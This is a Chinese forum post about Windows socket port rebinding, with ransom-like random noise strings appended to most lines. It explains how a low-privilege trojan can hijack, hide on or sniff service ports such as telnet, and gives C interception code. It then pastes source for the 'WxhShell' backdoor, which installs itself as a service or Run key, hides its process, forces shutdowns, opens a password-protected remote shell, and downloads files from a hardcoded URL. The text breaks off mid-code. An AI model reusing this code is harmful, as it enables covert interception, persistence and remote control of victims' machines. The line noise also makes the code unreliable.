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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -J0WUN$2*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r)T[(D'Tm-  
9NpD!A&64<  
  saddr.sin_family = AF_INET; F%/ h*  
m7qqY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }5 9U}@xC  
yL1bS|@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $u9]yiY.{  
s0W2?!>)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 O#kq^C}  
=VP=|g  
  这意味着什么?意味着可以进行如下的攻击: 2+"r~#K*  
JXU2CyMY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8E^@yZo{  
\wav?;z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1|Q vN1?  
5g ;ac~g  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d/,E2i{I7  
\5><3*\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8v92N g7  
k#JQxLy#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0ZI(/r  
uB.-t^@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^]c6RE_  
xytr2V ]aV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qr(`&hB-L  
4? (W%?  
  #include `,Vv["^PB  
  #include 2WBq  
  #include H7g< p"  
  #include    #Gf+=G  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =(, ^du'  
  int main() N2,D:m\  
  { xFF r  
  WORD wVersionRequested; \gO,hST   
  DWORD ret; TH1B#Y#<J  
  WSADATA wsaData; {rH9grb  
  BOOL val; #`SD$;  
  SOCKADDR_IN saddr; KLQ!b,=q  
  SOCKADDR_IN scaddr; kODK@w V-  
  int err; n \G Ry'  
  SOCKET s; $1Nd_pD=  
  SOCKET sc; &jQ?v@|1c  
  int caddsize; rR{,)fX;  
  HANDLE mt; 4sF v?W  
  DWORD tid;   pBJAaCGm  
  wVersionRequested = MAKEWORD( 2, 2 ); tiaR4PB  
  err = WSAStartup( wVersionRequested, &wsaData ); L/r@ S'  
  if ( err != 0 ) { IMLsQit*  
  printf("error!WSAStartup failed!\n"); lC?Icn|o  
  return -1; zY9 H%  
  } 0Bolv_e  
  saddr.sin_family = AF_INET; b=PVIZ  
   3sm M,fi  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `)>7)={  
: mGAt[Cc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7^e +  
  saddr.sin_port = htons(23); 1(dj[3Mt  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NeOxpn[  
  { $ 17 su')  
  printf("error!socket failed!\n"); JhK/']R  
  return -1; )9j06(<A  
  } -pb&-@Hul  
  val = TRUE; %!j:fJ()  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #;tT8[Ewuw  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) woOy*)@  
  { z4U9n'{  
  printf("error!setsockopt failed!\n"); %}Q&1P=  
  return -1; }=}>9DS M  
  } ">jwh.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %Kb9tHg  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 L\aBc}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v:_B kHN'  
l:(Rb-Wy  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) iZ,YxN<R  
  { 6tjcAsV  
  ret=GetLastError(); :os z  
  printf("error!bind failed!\n"); !dcwq;Ea  
  return -1; {U!uVQC'  
  } R4's7k  
  listen(s,2); 4rNL":"O  
  while(1) 3 /6/G}s  
  { ZU2laqa_  
  caddsize = sizeof(scaddr); y }2F9=  
  //接受连接请求 `TKD<&oL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3tS~:6-/  
  if(sc!=INVALID_SOCKET) GUB`|is^  
  { -M5=r>1;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >H|` y@]  
  if(mt==NULL) e(B9liXM  
  { ug&[ IL~lc  
  printf("Thread Creat Failed!\n"); ?(zoTxD  
  break; Vy)hDa[&  
  } !sSQQo2Sv  
  } JqUADm  
  CloseHandle(mt); &Vk; VM`5  
  } =H5\$&xj4.  
  closesocket(s); alFjc.~}  
  WSACleanup(); 9l/EjF^  
  return 0; gQWd&)'muf  
  }   D%/8{b:  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6vzk\n  
  { \>/M .2  
  SOCKET ss = (SOCKET)lpParam; HRa@  
  SOCKET sc; T5lQIr@a  
  unsigned char buf[4096]; xycH~ ?  
  SOCKADDR_IN saddr; v6a]1B   
  long num; Jc*XXu)  
  DWORD val; kMxazx1  
  DWORD ret; Y;J*4k]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _O:WG&a6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F1azZ (  
  saddr.sin_family = AF_INET; o@E/r.uK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -7-['fX  
  saddr.sin_port = htons(23); ) |#%Czd4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p#d+>7  
  { xBnbF[  
  printf("error!socket failed!\n"); /FY2vDfU6  
  return -1; KU&G;ni2  
  } ,2[ra9n  
  val = 100; ?[)S7\rP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r8MZvm2  
  { TQ :/RT  
  ret = GetLastError(); d4^`}6@  
  return -1; wVK*P -C  
  } QGnxQ{ko  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }qPhx6nP  
  { 'md0]R|  
  ret = GetLastError(); 1qdZ c_x  
  return -1; f>Td)s1 M  
  } uYO|5a<f~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6iezLG 5  
  { PFSLyV*  
  printf("error!socket connect failed!\n"); 1'w:`/_  
  closesocket(sc); yWIm&Q:  
  closesocket(ss); eOl KbJU  
  return -1; <!^ [~`  
  } '{?C{MK3Q  
  while(1) YhKZ|@  
  {  NY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 FpV`#6i7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 YrI|gz)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jh ez  
  num = recv(ss,buf,4096,0); >%b\yl%0  
  if(num>0) SqPtWEq@P  
  send(sc,buf,num,0); B~WtZ-%%E  
  else if(num==0) Dma.r  
  break; `\$8`Zb;  
  num = recv(sc,buf,4096,0); pNaiXu3  
  if(num>0) Y0uvT7+[hi  
  send(ss,buf,num,0); ` vk0c  
  else if(num==0) 7G2PMe;$m  
  break; 3SG?W_  
  } *U7 %|wd  
  closesocket(ss); $+= <(*  
  closesocket(sc); T8J4C=?/  
  return 0 ; haSM=;uPM  
  } Z)< wv&K  
Q%ad q-B  
5OLQw(E  
========================================================== ReB7vpd  
F}?<v8#z0  
下边附上一个代码,,WXhSHELL x4?10f(9=  
o3Ot.9L  
========================================================== f|3q^wjs  
N_wp{4 0/  
#include "stdafx.h" ks(SjEF  
Ws[D{dS/  
#include <stdio.h> a=}*mF[ug  
#include <string.h> wGKo.lt   
#include <windows.h> +=@^i'  
#include <winsock2.h> '"YYj$> '  
#include <winsvc.h> 7v~j=Z>  
#include <urlmon.h> 'VnwG  
Ggm` ~fS  
#pragma comment (lib, "Ws2_32.lib") -$8.3\6h  
#pragma comment (lib, "urlmon.lib") L_O$>c  
7 _jE[10  
#define MAX_USER   100 // 最大客户端连接数 !AHAS  
#define BUF_SOCK   200 // sock buffer ;<Qdy` T  
#define KEY_BUFF   255 // 输入 buffer _]>JB0IY  
*7gT}O;p 5  
#define REBOOT     0   // 重启 u:P~j  
#define SHUTDOWN   1   // 关机 |^n3{m  
! >.vh]8g  
#define DEF_PORT   5000 // 监听端口 nS.G~c|  
/MTf0^9  
#define REG_LEN     16   // 注册表键长度 Fe=8O ^\  
#define SVC_LEN     80   // NT服务名长度 qt?*MyfV  
?Hz2-Cn  
// 从dll定义API &_-](w`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Mhpdaos  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  $g8}^1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^QL 877  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $xW **&  
|Fln8wB  
// wxhshell配置信息 C".1+Um  
struct WSCFG { NlPS#  
  int ws_port;         // 监听端口 2Oc$+St~8  
  char ws_passstr[REG_LEN]; // 口令 {ISE'GJj  
  int ws_autoins;       // 安装标记, 1=yes 0=no I<\ '%  
  char ws_regname[REG_LEN]; // 注册表键名 zQ)+/e(8  
  char ws_svcname[REG_LEN]; // 服务名 70gg4BS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jZ9[=?   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lu\o`m5wF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Iin#Wd-/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b{[*N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4SVW/Zl.?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Di(9]: +  
440FhD Mj  
}; }0/a\  
JSVeU54T^<  
// default Wxhshell configuration ^$?qT60%d|  
struct WSCFG wscfg={DEF_PORT, APBK9ky  
    "xuhuanlingzhe", :h5J r8  
    1, pA4 ,@O  
    "Wxhshell", Q+[ .Y&  
    "Wxhshell", &y. dmW  
            "WxhShell Service", a-0cN 9  
    "Wrsky Windows CmdShell Service", C8b''9t.  
    "Please Input Your Password: ", ?[1SiJT  
  1, +oy*Kxs7  
  "http://www.wrsky.com/wxhshell.exe", ;Rnhe_A.  
  "Wxhshell.exe" QApyP CH  
    }; LsTffIP  
EQ >t[ &  
// 消息定义模块 '1+.t$"/tU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "Ai6<:ml  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1"E\C/c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F+aQ $pQ  
char *msg_ws_ext="\n\rExit."; ,@CfVQz  
char *msg_ws_end="\n\rQuit."; 4('JwZw\!  
char *msg_ws_boot="\n\rReboot..."; sg?@qc=g  
char *msg_ws_poff="\n\rShutdown..."; [#b2%G1  
char *msg_ws_down="\n\rSave to "; v<h;Di@  
 W'/>et  
char *msg_ws_err="\n\rErr!"; zQfkMa.  
char *msg_ws_ok="\n\rOK!"; qd2xb8r  
i57( $1.  
char ExeFile[MAX_PATH]; 3:`XG2'  
int nUser = 0; *8A6Q9YT  
HANDLE handles[MAX_USER]; X>,A  
int OsIsNt; #BJ\{"b_}z  
,)#.a%EKA  
SERVICE_STATUS       serviceStatus; zY APf &5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /6tcSg)  
3'#%c>_  
// 函数声明 8 njuDl  
int Install(void); X#J6Umutm  
int Uninstall(void); \lr/;-zP  
int DownloadFile(char *sURL, SOCKET wsh); __\P`S_  
int Boot(int flag); h7W}OF_=y  
void HideProc(void); 3E|;r _; 8  
int GetOsVer(void); Wc4vCVw  
int Wxhshell(SOCKET wsl); wq\G|/%  
void TalkWithClient(void *cs); \r -N(;m  
int CmdShell(SOCKET sock); U":"geU  
int StartFromService(void); :YvbU Y  
int StartWxhshell(LPSTR lpCmdLine); I,P!@  
&YX6"S_B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zixE Mi[8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L#j/0IHD  
i\x~iP&F$  
// 数据结构和表定义  Alu5$6X  
SERVICE_TABLE_ENTRY DispatchTable[] = $WaZ_kt  
{ /tC9G@Hl  
{wscfg.ws_svcname, NTServiceMain}, ]Z@k|Nw  
{NULL, NULL} gxM[V>[  
}; Slx2z%'>  
r*d Q5 _  
// 自我安装 ,U=E[X=H  
int Install(void) *x,HnHT  
{ ]N}]d +^6  
  char svExeFile[MAX_PATH]; Q_}n%P:u  
  HKEY key; j jY{Uq  
  strcpy(svExeFile,ExeFile); <94WZ?{p  
|5ONFd e"0  
// 如果是win9x系统,修改注册表设为自启动  P\(30  
if(!OsIsNt) { Lk nVqZ|k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iZTa>@   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yYX :huw  
  RegCloseKey(key); <Cq"| A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z<]VTo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BjZ>hhs!*  
  RegCloseKey(key); P(_(w 9  
  return 0; 2Ow<`[7  
    } 0vckoE  
  } _S5gcPcF"  
} !; WbOnLP  
else { -1mvhR~  
d}% (jJ(I  
// 如果是NT以上系统,安装为系统服务 `o-*Tr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6\`DlUn'*  
if (schSCManager!=0) .mt^m   
{ }su6izx  
  SC_HANDLE schService = CreateService s=/^lOOO  
  ( rw*M&qg!z  
  schSCManager, t-EV h~D1p  
  wscfg.ws_svcname, B$7[8h  
  wscfg.ws_svcdisp, ZKQo#!}  
  SERVICE_ALL_ACCESS, yBe(^ n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZR mPP  
  SERVICE_AUTO_START, ?!m m a\W  
  SERVICE_ERROR_NORMAL, /Sj_y*x1e  
  svExeFile, ;Jo*|pju  
  NULL, qw0~ *0}  
  NULL, k~|ZO/X@l%  
  NULL, cG(0q[  
  NULL, |_I[1%&`N  
  NULL |Gc&1*$  
  ); npj5U/  
  if (schService!=0) Rp eBm#E2  
  { 'FxYMSZS$  
  CloseServiceHandle(schService); BvJ\x)  
  CloseServiceHandle(schSCManager); ^0eO\wc?O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ybYXD?  
  strcat(svExeFile,wscfg.ws_svcname); am (#Fa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J/[7d?hI/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .b~OMTHuvM  
  RegCloseKey(key); *h])mqhB  
  return 0; ?o>6S EGW  
    } k(9s+0qe  
  } kPedX  
  CloseServiceHandle(schSCManager); ZIy(<0  
} d~/xGB`<  
} o@',YF>OQ  
s kY0\V  
return 1; H<z30r/-w  
} Di])<V  
pLo;#e8'f  
// 自我卸载 m9I(TOw  
int Uninstall(void) tnJ`D4  
{ N.vG]%1"  
  HKEY key; d3(+ztmG!  
2{gwY85:  
if(!OsIsNt) { 2D_6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D:6N9POB  
  RegDeleteValue(key,wscfg.ws_regname); C\/b~HU  
  RegCloseKey(key); m&ZJqsZIL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R/rcXX7%  
  RegDeleteValue(key,wscfg.ws_regname); 9Q=>MOB-  
  RegCloseKey(key); ^T+<!k  
  return 0; 1sMV`qv>  
  } !,R  
} 8z0Hx  
} !8Y3V/)NU  
else { (E IRz>  
Ga?UHw~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Pgx+\;w"  
if (schSCManager!=0) 13\Sh  
{ "V:XhBG?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NC;T( @  
  if (schService!=0) 'l8eH$  
  { n }TTq6B  
  if(DeleteService(schService)!=0) { eoC<a"bJ>  
  CloseServiceHandle(schService); qb9}&'@:  
  CloseServiceHandle(schSCManager); U#iT<#!l2  
  return 0; ko>M&/^  
  } pj j}K  
  CloseServiceHandle(schService); O/nqNQ?<  
  } |<'10  
  CloseServiceHandle(schSCManager); C~:b*X   
} zQ=aey%  
} t3 K>\ :  
2-PI JO  
return 1; @_(nd57oSs  
} EI<"DB   
R:BBF9sK?  
// 从指定url下载文件 KZi+j#7O  
int DownloadFile(char *sURL, SOCKET wsh) H]U "+52h  
{ A?\h|u<  
  HRESULT hr; D`8E-Bq  
char seps[]= "/"; ;g6 nHek  
char *token; V02309Y  
char *file; & 8zk3  
char myURL[MAX_PATH]; q~mcjbLz  
char myFILE[MAX_PATH]; dPRtN@3  
z=u~]:.1O  
strcpy(myURL,sURL); ^NcTWbs-T  
  token=strtok(myURL,seps); $`ON!,oa  
  while(token!=NULL) B>R* f C@g  
  { 20n%o&kG]8  
    file=token; oUCS |  
  token=strtok(NULL,seps); sek6+#|=  
  } |_!PD$i-  
{6ajsy5=  
GetCurrentDirectory(MAX_PATH,myFILE); 9'D8[p%  
strcat(myFILE, "\\"); KX]-ll  
strcat(myFILE, file); zj%cd;  
  send(wsh,myFILE,strlen(myFILE),0); 9]"\"ka3>  
send(wsh,"...",3,0); bx1G CD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pVdhj^n  
  if(hr==S_OK) kWI]fZ_n  
return 0; Qh/lT$g  
else TeOFAIU  
return 1; FW/6{tm  
1a \=0=[  
} M_yZR^;^-  
{c.}fyN  
// 系统电源模块 6ch@Be5*  
int Boot(int flag) VOD1xWrb  
{ % cU-5\xF  
  HANDLE hToken; [ e$]pN%  
  TOKEN_PRIVILEGES tkp; L!`*R)I45  
}ZxW"5oq  
  if(OsIsNt) { jc3ExOH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |L*6x S[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Kw)C{L5a  
    tkp.PrivilegeCount = 1; w;@`Yi.WQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; goG] WGVr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bDxPgb7N=  
if(flag==REBOOT) { 1 OuSH+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~Ay  
  return 0; S^*(ALFPj  
} :h3#1fko  
else { pIk4V/ fy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,q{lYX83S  
  return 0; 0%vixR52  
} L2:oZ&:u`J  
  } e,PQ)1  
  else { aMe%#cLI  
if(flag==REBOOT) { =iA"; x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r9U[-CX:"  
  return 0; <6~/sa4GN  
} `PXoJl  
else { !.x=r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O%r S;o  
  return 0; 89 _&X[X  
} #MmmwPB_  
} Lqy|DJ%  
gEX:S(1 QP  
return 1; qdg= Imx  
} bvt-leA=  
r>n8`W  
// win9x进程隐藏模块 1 8l~4"|fk  
void HideProc(void) fSm?27_  
{ F>hVrUD8  
vLVSZX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mE)x7  
  if ( hKernel != NULL ) M$DwQ}Z  
  { $6qR/#74  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >EPaZp6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i[V,IP +  
    FreeLibrary(hKernel); )AZ`R8-A  
  } +9& ulr  
IFHgD}kp%#  
return; YB(#]H|8S  
} J-HabHv  
G>?x-!9qcH  
// 获取操作系统版本 ^;v.ytO*  
int GetOsVer(void) U^WQWa  
{ dW] Ej"W  
  OSVERSIONINFO winfo; 9 u6 g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~}FLn9@*  
  GetVersionEx(&winfo); lUm}nsp=X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lW@:q04Z$  
  return 1; #==[RNM%ap  
  else U/~Zk@3j  
  return 0; [m@e^6F0U  
} 6M2i? c  
Xlgz.j7XR  
// 客户端句柄模块 .-gm"lB  
int Wxhshell(SOCKET wsl) LQuYCfj|  
{ 2n\i0?RD  
  SOCKET wsh; O>{t}6o  
  struct sockaddr_in client; crF9,p  
  DWORD myID; Lt ZWs0l0  
7i%P&oB  
  while(nUser<MAX_USER) m''iE  
{ )Q N=>J  
  int nSize=sizeof(client); DXw9@b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0Mzc1dG:  
  if(wsh==INVALID_SOCKET) return 1; }pU!1GsO  
`^@g2c+d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6 I>xd  
if(handles[nUser]==0) G=0}IPfp  
  closesocket(wsh); n Y.Umj  
else wHDF TIDI  
  nUser++; vFkyfX(   
  } mSqk[ Ig\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TbSt {TX  
ff2.| 20  
  return 0; kgib$t_7  
} aF_ZV bS  
y0Q/B|&[  
// 关闭 socket xHR+((  
void CloseIt(SOCKET wsh) $T@xnZ  
{ :+X2>Lu$FA  
closesocket(wsh); M`f;-  
nUser--; %)!~t8To  
ExitThread(0); RI< Yg#   
} &Cn9 k3E\R  
)y [[Se  
// 客户端请求句柄 EKI+Dq,  
void TalkWithClient(void *cs) qhHRR/p  
{ 0V>N#P]  
&bRxy`ZH  
  SOCKET wsh=(SOCKET)cs; % /wP2O<  
  char pwd[SVC_LEN]; 0zk T8'v  
  char cmd[KEY_BUFF]; c&iK+qvh{  
char chr[1]; 4FP~+  
int i,j; |'>E};D  
_S7M5{U_  
  while (nUser < MAX_USER) { ` TVcI\W  
j,V$vKP  
if(wscfg.ws_passstr) { lyc{Z%!3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E6d8z=X(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DG%%]  
  //ZeroMemory(pwd,KEY_BUFF); 2ucsTh@  
      i=0; APOU&Wd  
  while(i<SVC_LEN) { *p<5(-J3  
($ 1<Dj:  
  // 设置超时 Z[A|SyZp  
  fd_set FdRead; M#gGD-  
  struct timeval TimeOut; `E1_S  
  FD_ZERO(&FdRead); "Z1&z-   
  FD_SET(wsh,&FdRead); >ehWjL`8  
  TimeOut.tv_sec=8; }sN9QgE  
  TimeOut.tv_usec=0; %0M^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T"0)%k8lJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oKqFZ,m[  
`EW_pwZPA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {83He@  
  pwd=chr[0]; 1*Fvx-U'  
  if(chr[0]==0xd || chr[0]==0xa) { QR-R5XNT[  
  pwd=0; s%?p%2&RA  
  break; jnLo[Cf,H8  
  } 'V1 -iJj9  
  i++; =;?PVAdu%#  
    } 38.J:?Q  
c#-97"_8  
  // 如果是非法用户,关闭 socket d"$oV~>P|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9tW.}5V  
} R)d 7b,_Yd  
l+kg4y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ="nrq&2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M:q ;z(  
""KN?qh9  
while(1) { Xcpm?aTo  
,0u0 '  
  ZeroMemory(cmd,KEY_BUFF); R~?;KJ  
vrEaNT$J-  
      // 自动支持客户端 telnet标准   E;Ftop  
  j=0; WT? U~.U  
  while(j<KEY_BUFF) { jQBdS. }'v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %'g-%2C?  
  cmd[j]=chr[0]; |~vQ0D  
  if(chr[0]==0xa || chr[0]==0xd) { GZ>% &^E  
  cmd[j]=0; ^T1-dw(  
  break; vCe<-k  
  } 8@*|T?r  
  j++; 9^h%}>  
    } VX@G}3Ck  
qc4 "0Ap'  
  // 下载文件 .L|ax).D  
  if(strstr(cmd,"http://")) { (+v*u]w4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wuCtg=  
  if(DownloadFile(cmd,wsh)) =id $  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3B|-xq;]I  
  else cNB$g )`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $Lbe5d?\  
  } 8q LgB  
  else { ')cgx9   
gBS#Z.  
    switch(cmd[0]) { `G5wiyH})  
  aC6b})^  
  // 帮助 YxqQg  
  case '?': { 9@a;1Wr/f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~O7(0RsCN  
    break; ]6[d-$#^ko  
  } y!D`.'  
  // 安装 -"tgEC\tD  
  case 'i': { PKs%-Uk  
    if(Install()) e{+{,g{iu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @BW8`Ky1  
    else :|mkI#P.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :pu{3-n.  
    break; %hb5C 4q  
    } RL)3k8pk  
  // 卸载 d*(\'6?  
  case 'r': { "8 mulE,  
    if(Uninstall()) @{a-IW 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Cs}&Bic_  
    else T/6=A$4 #  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "{xv|C<*n  
    break; !27]1%Aw  
    } ?i=!UN  
  // 显示 wxhshell 所在路径 <vuX " 8  
  case 'p': { 25[/'7_"  
    char svExeFile[MAX_PATH]; ?a9k5@s  
    strcpy(svExeFile,"\n\r"); D8{HOv;d^  
      strcat(svExeFile,ExeFile); meD (ja  
        send(wsh,svExeFile,strlen(svExeFile),0); `v{X@x  
    break; i */U.'#  
    } E,:pIw  
  // 重启 9o'6es..@Z  
  case 'b': { F7l:*r,O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q,&T$Tw  
    if(Boot(REBOOT)) Y--8v#t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kw}1CXD  
    else { 4^^rOi0  
    closesocket(wsh); jch8d(`?d  
    ExitThread(0); ay|{!MkQ  
    } .4(f0RG  
    break; *03/ :q^(  
    } v('d H"Y  
  // 关机 W>nb9Isp  
  case 'd': { gD =5M\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  nGd  
    if(Boot(SHUTDOWN)) I@M^Wu]wW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mcG$V0D <{  
